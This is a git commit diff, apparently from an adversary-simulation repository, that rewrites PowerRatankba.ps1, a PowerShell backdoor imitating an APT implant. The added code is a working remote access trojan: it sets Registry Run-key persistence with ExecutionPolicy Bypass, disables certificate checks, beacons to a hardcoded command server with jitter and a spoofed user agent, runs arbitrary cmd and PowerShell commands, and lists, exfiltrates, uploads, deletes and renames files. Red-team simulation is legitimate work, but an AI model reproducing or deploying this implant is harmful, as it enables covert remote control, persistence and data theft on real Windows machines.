mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Modify persistence and server interaction in PowerRatankba.ps1
Refactor persistence mechanism and update server communication.
This commit is contained in:
@@ -14,54 +14,590 @@ public class TrustAllCertsPolicy : ICertificatePolicy {
|
|||||||
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
|
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
|
||||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||||
|
|
||||||
# Persistence via Registry (Run Key)
|
|
||||||
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
|
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
|
||||||
$regName = "Payload"
|
$regName = "HTTPSClient"
|
||||||
$regValue = "powershell -ExecutionPolicy Bypass -File $PSCommandPath"
|
$regValue = "powershell -ExecutionPolicy Bypass -File `"$PSCommandPath`""
|
||||||
Set-ItemProperty -Path $regPath -Name $regName -Value $regValue
|
|
||||||
|
|
||||||
$server = "https://192.168.1.14:1111"
|
|
||||||
|
|
||||||
# Checkin
|
|
||||||
$checkin_data = @{ } | ConvertTo-Json
|
|
||||||
try {
|
try {
|
||||||
Write-Host "[*] Sending checkin..."
|
Set-ItemProperty -Path $regPath -Name $regName -Value $regValue -ErrorAction Stop
|
||||||
$response = Invoke-RestMethod -Uri "$server/checkin" -Method POST -Body $checkin_data -ContentType "application/json"
|
Write-Host "[+] Persistence added to Registry: $regPath\$regName"
|
||||||
$session_id = $response.session_id
|
|
||||||
Write-Host "[+] Checkin successful: $session_id"
|
|
||||||
} catch {
|
} catch {
|
||||||
Write-Host "[-] Checkin failed: $_"
|
Write-Host "[-] Failed to add persistence: $_"
|
||||||
exit
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# Loop to get commands
|
$SERVER_IP = "192.168.233.230"
|
||||||
while ($true) {
|
$SERVER_PORT = 1111
|
||||||
Start-Sleep -Seconds 3
|
$SERVER_BASE = "https://${SERVER_IP}:${SERVER_PORT}"
|
||||||
try {
|
$AUTH_ID = "254fa37e-5681-4da9-8d36-305854cc8b08"
|
||||||
$cmd_resp = Invoke-RestMethod -Uri "$server/get_command?session_id=$session_id" -Method GET
|
$DEFAULT_USER_AGENT = "Mozilla/5.0"
|
||||||
$cmd = $cmd_resp.command
|
|
||||||
if ($cmd) {
|
|
||||||
if ($cmd -match "`r`n|\n") {
|
|
||||||
# Multiple lines -> write to temp .bat file
|
|
||||||
$tempFile = [System.IO.Path]::GetTempFileName().Replace(".tmp", ".bat")
|
|
||||||
[System.IO.File]::WriteAllText($tempFile, $cmd)
|
|
||||||
|
|
||||||
$output = cmd.exe /c $tempFile 2>&1 | Out-String
|
|
||||||
|
|
||||||
Remove-Item $tempFile -Force -ErrorAction SilentlyContinue
|
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
|
||||||
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -bor [System.Net.SecurityProtocolType]::Tls11 -bor [System.Net.SecurityProtocolType]::Tls
|
||||||
|
|
||||||
|
|
||||||
|
$script:SessionId = $null
|
||||||
|
$script:URIs = @("/support/troubleshoot")
|
||||||
|
$script:CurrentUserAgent = $DEFAULT_USER_AGENT
|
||||||
|
$script:SleepTime = 0.0
|
||||||
|
$script:StartJitter = 0
|
||||||
|
$script:EndJitter = 0
|
||||||
|
$script:PREPEND_OUTPUT = ""
|
||||||
|
$script:APPEND_OUTPUT = ""
|
||||||
|
$script:GET_CLIENT_HEADERS = @{}
|
||||||
|
$script:POST_CLIENT_HEADERS = @{}
|
||||||
|
|
||||||
|
function Get-URL {
|
||||||
|
return $SERVER_BASE + ($script:URIs | Get-Random)
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-RequestHeaders {
|
||||||
|
param([bool]$IsPost = $true)
|
||||||
|
|
||||||
|
$headers = @{
|
||||||
|
"User-Agent" = $script:CurrentUserAgent
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($IsPost) {
|
||||||
|
$headers["Content-Type"] = "application/json"
|
||||||
|
foreach ($key in $script:POST_CLIENT_HEADERS.Keys) {
|
||||||
|
if ($script:POST_CLIENT_HEADERS[$key] -and $script:POST_CLIENT_HEADERS[$key].Trim()) {
|
||||||
|
$headers[$key] = $script:POST_CLIENT_HEADERS[$key]
|
||||||
|
}
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
# Single-line command
|
foreach ($key in $script:GET_CLIENT_HEADERS.Keys) {
|
||||||
$output = cmd.exe /c $cmd 2>&1 | Out-String
|
if ($script:GET_CLIENT_HEADERS[$key] -and $script:GET_CLIENT_HEADERS[$key].Trim()) {
|
||||||
|
$headers[$key] = $script:GET_CLIENT_HEADERS[$key]
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
$send_data = @{
|
$cleanHeaders = @{}
|
||||||
session_id = $session_id
|
foreach ($key in $headers.Keys) {
|
||||||
output = $output
|
if ($headers[$key] -and $headers[$key].Trim()) {
|
||||||
} | ConvertTo-Json -Depth 3
|
$cleanHeaders[$key] = $headers[$key]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
Invoke-RestMethod -Uri "$server/send_output" -Method POST -Body $send_data -ContentType "application/json"
|
return $cleanHeaders
|
||||||
|
}
|
||||||
|
|
||||||
|
function Invoke-Checkin {
|
||||||
|
$payload = @{
|
||||||
|
action = "checkin"
|
||||||
|
token = $AUTH_ID
|
||||||
|
} | ConvertTo-Json
|
||||||
|
|
||||||
|
try {
|
||||||
|
$headers = Get-RequestHeaders -IsPost $true
|
||||||
|
$url = Get-URL
|
||||||
|
|
||||||
|
$response = Invoke-WebRequest -Uri $url -Method Post -Body $payload -ContentType "application/json" -Headers $headers -UseBasicParsing
|
||||||
|
|
||||||
|
if ($response.StatusCode -eq 200) {
|
||||||
|
$responseData = $response.Content | ConvertFrom-Json
|
||||||
|
|
||||||
|
if ($responseData) {
|
||||||
|
$script:SessionId = $responseData.sid
|
||||||
|
|
||||||
|
if ([string]::IsNullOrEmpty($script:SessionId)) {
|
||||||
|
return $false
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($responseData.ua) { $script:CurrentUserAgent = $responseData.ua }
|
||||||
|
if ($responseData.sj) { $script:StartJitter = [int]$responseData.sj }
|
||||||
|
if ($responseData.ej) { $script:EndJitter = [int]$responseData.ej }
|
||||||
|
if ($responseData.sl) { $script:SleepTime = [double]$responseData.sl }
|
||||||
|
if ($responseData.ur) { $script:URIs = @($responseData.ur) }
|
||||||
|
if ($responseData.pre) { $script:PREPEND_OUTPUT = $responseData.pre }
|
||||||
|
if ($responseData.app) { $script:APPEND_OUTPUT = $responseData.app }
|
||||||
|
|
||||||
|
return $true
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
Write-Host "[-] Error: $_"
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return $false
|
||||||
|
}
|
||||||
|
|
||||||
|
function Apply-Jitter {
|
||||||
|
if ($script:SleepTime -eq 0) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($script:StartJitter -eq 0 -and $script:EndJitter -eq 0) {
|
||||||
|
$finalSleep = [Math]::Max(0, [Math]::Min(900, $script:SleepTime))
|
||||||
|
if ($finalSleep -gt 0) {
|
||||||
|
Start-Sleep -Seconds $finalSleep
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($script:StartJitter -gt $script:EndJitter) {
|
||||||
|
$temp = $script:StartJitter
|
||||||
|
$script:StartJitter = $script:EndJitter
|
||||||
|
$script:EndJitter = $temp
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($script:StartJitter -eq $script:EndJitter) {
|
||||||
|
$script:StartJitter = [Math]::Max(0, $script:StartJitter - 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$jitterAmount = Get-Random -Minimum $script:StartJitter -Maximum $script:EndJitter
|
||||||
|
$finalSleep = $script:SleepTime + $jitterAmount
|
||||||
|
$finalSleep = [Math]::Max(0, [Math]::Min(900, $finalSleep))
|
||||||
|
|
||||||
|
if ($finalSleep -gt 0) {
|
||||||
|
Start-Sleep -Seconds $finalSleep
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
if ($script:SleepTime -gt 0) {
|
||||||
|
Start-Sleep -Seconds $script:SleepTime
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Execute-CMDCommand {
|
||||||
|
param([string]$Command)
|
||||||
|
|
||||||
|
try {
|
||||||
|
if ($Command -match "&") {
|
||||||
|
$parts = $Command -split "(?<![&])&(?!&)"
|
||||||
|
$allOutput = ""
|
||||||
|
|
||||||
|
foreach ($part in $parts) {
|
||||||
|
$part = $part.Trim()
|
||||||
|
if ($part) {
|
||||||
|
try {
|
||||||
|
$result = Invoke-Expression "cmd /c $part" 2>&1 | Out-String
|
||||||
|
$allOutput += $result
|
||||||
|
} catch {
|
||||||
|
$allOutput += "[-] Error: $_`n"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $allOutput
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Command -match "\|\|") {
|
||||||
|
$parts = $Command -split "\|\|"
|
||||||
|
$lastError = $null
|
||||||
|
|
||||||
|
foreach ($part in $parts) {
|
||||||
|
$part = $part.Trim()
|
||||||
|
if ($part) {
|
||||||
|
try {
|
||||||
|
$result = Invoke-Expression "cmd /c $part" 2>&1 | Out-String
|
||||||
|
if ($result.Trim()) {
|
||||||
|
return $result
|
||||||
|
}
|
||||||
|
return "[+] Command executed (no output)`n"
|
||||||
|
} catch {
|
||||||
|
$lastError = $_
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "[-] All OR commands failed: $lastError`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Command -match "&&") {
|
||||||
|
$parts = $Command -split "&&"
|
||||||
|
$allOutput = ""
|
||||||
|
|
||||||
|
foreach ($part in $parts) {
|
||||||
|
$part = $part.Trim()
|
||||||
|
if ($part) {
|
||||||
|
try {
|
||||||
|
$result = Invoke-Expression "cmd /c $part" 2>&1 | Out-String
|
||||||
|
$allOutput += $result
|
||||||
|
if ($LASTEXITCODE -ne 0) {
|
||||||
|
$allOutput += "[-] Command failed, stopping AND chain`n"
|
||||||
|
return $allOutput
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
$allOutput += "[-] Error in AND chain: $_`n"
|
||||||
|
return $allOutput
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $allOutput
|
||||||
|
}
|
||||||
|
|
||||||
|
$result = Invoke-Expression "cmd /c $Command" 2>&1 | Out-String
|
||||||
|
if ([string]::IsNullOrEmpty($result.Trim())) {
|
||||||
|
return "[+] Command executed (no output)`n"
|
||||||
|
}
|
||||||
|
return $result
|
||||||
|
} catch {
|
||||||
|
return "[-] CMD error: $_`n"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Execute-PowerShellCommand {
|
||||||
|
param([string]$Command)
|
||||||
|
|
||||||
|
try {
|
||||||
|
$result = Invoke-Expression $Command 2>&1 | Out-String
|
||||||
|
if ([string]::IsNullOrEmpty($result.Trim())) {
|
||||||
|
return "[+] PowerShell command executed (no output)`n"
|
||||||
|
}
|
||||||
|
return $result
|
||||||
|
} catch {
|
||||||
|
return "[-] PowerShell error: $_`n"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Browse-Directory {
|
||||||
|
param([string]$Path)
|
||||||
|
|
||||||
|
try {
|
||||||
|
if ($Path.StartsWith("~")) {
|
||||||
|
$Path = $Path.Replace("~", $env:USERPROFILE)
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!(Test-Path $Path)) {
|
||||||
|
return @{
|
||||||
|
success = $false
|
||||||
|
error = "Path does not exist: $Path"
|
||||||
|
current_path = $Path
|
||||||
|
parent_path = $null
|
||||||
|
items = @()
|
||||||
|
} | ConvertTo-Json -Compress
|
||||||
|
}
|
||||||
|
|
||||||
|
$items = @()
|
||||||
|
try {
|
||||||
|
$entries = Get-ChildItem -Path $Path -Force -ErrorAction Stop
|
||||||
|
} catch {
|
||||||
|
return @{
|
||||||
|
success = $false
|
||||||
|
error = "Permission denied to access $Path"
|
||||||
|
current_path = $Path
|
||||||
|
parent_path = $null
|
||||||
|
items = @()
|
||||||
|
} | ConvertTo-Json -Compress
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($item in $entries) {
|
||||||
|
try {
|
||||||
|
$isDir = $item.PSIsContainer
|
||||||
|
$modifiedTime = $item.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss")
|
||||||
|
$sizeBytes = if ($isDir) { 0 } else { $item.Length }
|
||||||
|
|
||||||
|
$items += @{
|
||||||
|
name = $item.Name
|
||||||
|
type = if ($isDir) { "directory" } else { "file" }
|
||||||
|
size = $sizeBytes
|
||||||
|
modified_time = $modifiedTime
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$items = $items | Sort-Object @{Expression={$_.type -ne "directory"}}, name
|
||||||
|
|
||||||
|
$parentPath = Split-Path $Path -Parent
|
||||||
|
if ($Path -match "^[A-Za-z]:\\$" -or $Path -eq "/") {
|
||||||
|
$parentPath = $null
|
||||||
|
} elseif ($parentPath -eq $Path) {
|
||||||
|
$parentPath = $null
|
||||||
|
}
|
||||||
|
|
||||||
|
$result = @{
|
||||||
|
success = $true
|
||||||
|
current_path = $Path
|
||||||
|
parent_path = $parentPath
|
||||||
|
items = $items
|
||||||
|
}
|
||||||
|
|
||||||
|
return $result | ConvertTo-Json -Compress
|
||||||
|
} catch {
|
||||||
|
return @{
|
||||||
|
success = $false
|
||||||
|
error = $_.Exception.Message
|
||||||
|
current_path = $Path
|
||||||
|
parent_path = $null
|
||||||
|
items = @()
|
||||||
|
} | ConvertTo-Json -Compress
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Download-File {
|
||||||
|
param([string]$FilePath)
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (!(Test-Path $FilePath)) {
|
||||||
|
return "ERROR: File not found: $FilePath"
|
||||||
|
}
|
||||||
|
|
||||||
|
$fileInfo = Get-Item $FilePath
|
||||||
|
$filename = $fileInfo.Name
|
||||||
|
$filesize = $fileInfo.Length
|
||||||
|
|
||||||
|
$fileData = [System.IO.File]::ReadAllBytes($FilePath)
|
||||||
|
$fileDataB64 = [Convert]::ToBase64String($fileData)
|
||||||
|
|
||||||
|
return "file-data:${filename}|${filesize}|${fileDataB64}"
|
||||||
|
} catch {
|
||||||
|
return "ERROR: $($_.Exception.Message)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Upload-File {
|
||||||
|
param([string]$FilePath, [string]$FileDataB64)
|
||||||
|
|
||||||
|
try {
|
||||||
|
$fileData = [Convert]::FromBase64String($FileDataB64)
|
||||||
|
$directory = Split-Path $FilePath -Parent
|
||||||
|
|
||||||
|
if ($directory -and !(Test-Path $directory)) {
|
||||||
|
New-Item -Path $directory -ItemType Directory -Force | Out-Null
|
||||||
|
}
|
||||||
|
|
||||||
|
[System.IO.File]::WriteAllBytes($FilePath, $fileData)
|
||||||
|
return "SUCCESS: File uploaded to $FilePath"
|
||||||
|
} catch {
|
||||||
|
return "ERROR: $($_.Exception.Message)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Delete-File {
|
||||||
|
param([string]$FilePath)
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (Test-Path $FilePath) {
|
||||||
|
Remove-Item -Path $FilePath -Force -Recurse -ErrorAction Stop
|
||||||
|
return "SUCCESS: Deleted $FilePath"
|
||||||
|
} else {
|
||||||
|
return "ERROR: Path not found: $FilePath"
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
return "ERROR: $($_.Exception.Message)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Rename-File {
|
||||||
|
param([string]$OldPath, [string]$NewPath)
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (Test-Path $OldPath) {
|
||||||
|
Rename-Item -Path $OldPath -NewName $NewPath -ErrorAction Stop
|
||||||
|
return "SUCCESS: Renamed to $NewPath"
|
||||||
|
} else {
|
||||||
|
return "ERROR: Path not found: $OldPath"
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
return "ERROR: $($_.Exception.Message)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Execute-Command {
|
||||||
|
param([string]$Command)
|
||||||
|
|
||||||
|
if ([string]::IsNullOrEmpty($Command)) {
|
||||||
|
return "[no command]"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Command.ToLower() -eq "ping") {
|
||||||
|
return "pong`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Command -match "^browse:") {
|
||||||
|
$browsePath = $Command.Substring(7).Trim()
|
||||||
|
if ([string]::IsNullOrEmpty($browsePath)) {
|
||||||
|
$browsePath = (Get-Location).Path
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$items = @()
|
||||||
|
if (Test-Path $browsePath) {
|
||||||
|
Get-ChildItem $browsePath -Force | ForEach-Object {
|
||||||
|
$items += @{
|
||||||
|
name = $_.Name
|
||||||
|
type = if ($_.PSIsContainer) { "directory" } else { "file" }
|
||||||
|
size = if ($_.PSIsContainer) { 0 } else { $_.Length }
|
||||||
|
modified_time = $_.LastWriteTime.ToString('yyyy-MM-dd HH:mm:ss')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$result = @{
|
||||||
|
success = $true
|
||||||
|
current_path = $browsePath
|
||||||
|
parent_path = (Split-Path $browsePath -Parent)
|
||||||
|
items = ($items | Sort-Object { $_.type -ne 'directory' }, { $_.name.ToLower() })
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
$result = @{
|
||||||
|
success = $false
|
||||||
|
error = "$($_.Exception.Message)"
|
||||||
|
current_path = $browsePath
|
||||||
|
parent_path = $null
|
||||||
|
items = @()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$jsonData = $result | ConvertTo-Json -Compress
|
||||||
|
$base64Data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($jsonData))
|
||||||
|
return "browse-data-${base64Data}`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Command -match "^download-file:") {
|
||||||
|
$filepath = $Command.Substring(14).Trim()
|
||||||
|
if (Test-Path $filepath) {
|
||||||
|
$fileData = [IO.File]::ReadAllBytes($filepath)
|
||||||
|
$filename = [IO.Path]::GetFileName($filepath)
|
||||||
|
$fileDataB64 = [Convert]::ToBase64String($fileData)
|
||||||
|
return "file-data:${filename}|$($fileData.Length)|${fileDataB64}`n"
|
||||||
|
}
|
||||||
|
return "ERROR: File not found: $filepath`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Command -match "^upload-file:") {
|
||||||
|
$parts = $Command.Substring(12).Split('|', 2)
|
||||||
|
if ($parts.Count -eq 2) {
|
||||||
|
$filepath = $parts[0]
|
||||||
|
$filedataB64 = $parts[1]
|
||||||
|
|
||||||
|
try {
|
||||||
|
$fileData = [Convert]::FromBase64String($filedataB64)
|
||||||
|
$directory = [IO.Path]::GetDirectoryName($filepath)
|
||||||
|
if ($directory -and !(Test-Path $directory)) {
|
||||||
|
New-Item -ItemType Directory -Path $directory -Force | Out-Null
|
||||||
|
}
|
||||||
|
[IO.File]::WriteAllBytes($filepath, $fileData)
|
||||||
|
return "SUCCESS: File uploaded to $filepath`n"
|
||||||
|
} catch {
|
||||||
|
return "ERROR: $($_.Exception.Message)`n"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "ERROR: Invalid upload format`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Command -match "^delete-file:") {
|
||||||
|
$filepath = $Command.Substring(12).Trim()
|
||||||
|
if (Test-Path $filepath) {
|
||||||
|
Remove-Item $filepath -Force -Recurse
|
||||||
|
return "SUCCESS: Deleted $filepath`n"
|
||||||
|
}
|
||||||
|
return "ERROR: File not found`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Command -match "^rename-file:") {
|
||||||
|
$parts = $Command.Substring(12).Split('|', 2)
|
||||||
|
if ($parts.Count -eq 2) {
|
||||||
|
$oldPath = $parts[0]
|
||||||
|
$newPath = $parts[1]
|
||||||
|
try {
|
||||||
|
Rename-Item $oldPath $newPath -Force
|
||||||
|
return "SUCCESS: Renamed to $newPath`n"
|
||||||
|
} catch {
|
||||||
|
return "ERROR: $($_.Exception.Message)`n"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "ERROR: Invalid rename format`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
$upper = $Command.ToUpper()
|
||||||
|
if ($upper -match "^EP ") {
|
||||||
|
$psCommand = $Command.Substring(3).Trim()
|
||||||
|
return Execute-PowerShellCommand -Command $psCommand
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($upper -match "^EP") {
|
||||||
|
$psCommand = $Command.Substring(2).Trim()
|
||||||
|
return Execute-PowerShellCommand -Command $psCommand
|
||||||
|
}
|
||||||
|
|
||||||
|
return Execute-CMDCommand -Command $Command
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-Tasks {
|
||||||
|
if ([string]::IsNullOrEmpty($script:SessionId)) {
|
||||||
|
return $null
|
||||||
|
}
|
||||||
|
|
||||||
|
$payload = @{
|
||||||
|
action = "get_tasks"
|
||||||
|
sid = $script:SessionId
|
||||||
|
} | ConvertTo-Json
|
||||||
|
|
||||||
|
try {
|
||||||
|
$headers = Get-RequestHeaders -IsPost $true
|
||||||
|
$url = Get-URL
|
||||||
|
|
||||||
|
$response = Invoke-WebRequest -Uri $url -Method Post -Body $payload -ContentType "application/json" -Headers $headers -UseBasicParsing
|
||||||
|
|
||||||
|
if ($response.StatusCode -eq 200) {
|
||||||
|
$data = $response.Content | ConvertFrom-Json
|
||||||
|
if ($data -and $data.command) {
|
||||||
|
return $data.command.Trim()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return $null
|
||||||
|
}
|
||||||
|
|
||||||
|
function Submit-Output {
|
||||||
|
param([string]$Output)
|
||||||
|
|
||||||
|
if ([string]::IsNullOrEmpty($script:SessionId)) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
$encrypted = $Output
|
||||||
|
$finalOutput = $script:PREPEND_OUTPUT + $encrypted + $script:APPEND_OUTPUT
|
||||||
|
|
||||||
|
if ([string]::IsNullOrEmpty($finalOutput)) {
|
||||||
|
$finalOutput = "[no output]"
|
||||||
|
}
|
||||||
|
|
||||||
|
$payload = @{
|
||||||
|
action = "submit"
|
||||||
|
sid = $script:SessionId
|
||||||
|
out = $finalOutput
|
||||||
|
} | ConvertTo-Json
|
||||||
|
|
||||||
|
try {
|
||||||
|
$headers = Get-RequestHeaders -IsPost $true
|
||||||
|
$url = Get-URL
|
||||||
|
|
||||||
|
Invoke-WebRequest -Uri $url -Method Post -Body $payload -ContentType "application/json" -Headers $headers -UseBasicParsing | Out-Null
|
||||||
|
} catch {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Main-Loop {
|
||||||
|
while ([string]::IsNullOrEmpty($script:SessionId)) {
|
||||||
|
if (Invoke-Checkin) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
Start-Sleep -Seconds (Get-Random -Minimum 20 -Maximum 60)
|
||||||
|
}
|
||||||
|
|
||||||
|
while ($true) {
|
||||||
|
try {
|
||||||
|
$command = Get-Tasks
|
||||||
|
if ($command -and $command.Trim()) {
|
||||||
|
$result = Execute-Command -Command $command
|
||||||
|
Submit-Output -Output $result
|
||||||
|
}
|
||||||
|
Apply-Jitter
|
||||||
|
} catch {
|
||||||
|
Start-Sleep -Seconds (Get-Random -Minimum 30 -Maximum 120)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
Main-Loop
|
||||||
|
|||||||
Reference in New Issue
Block a user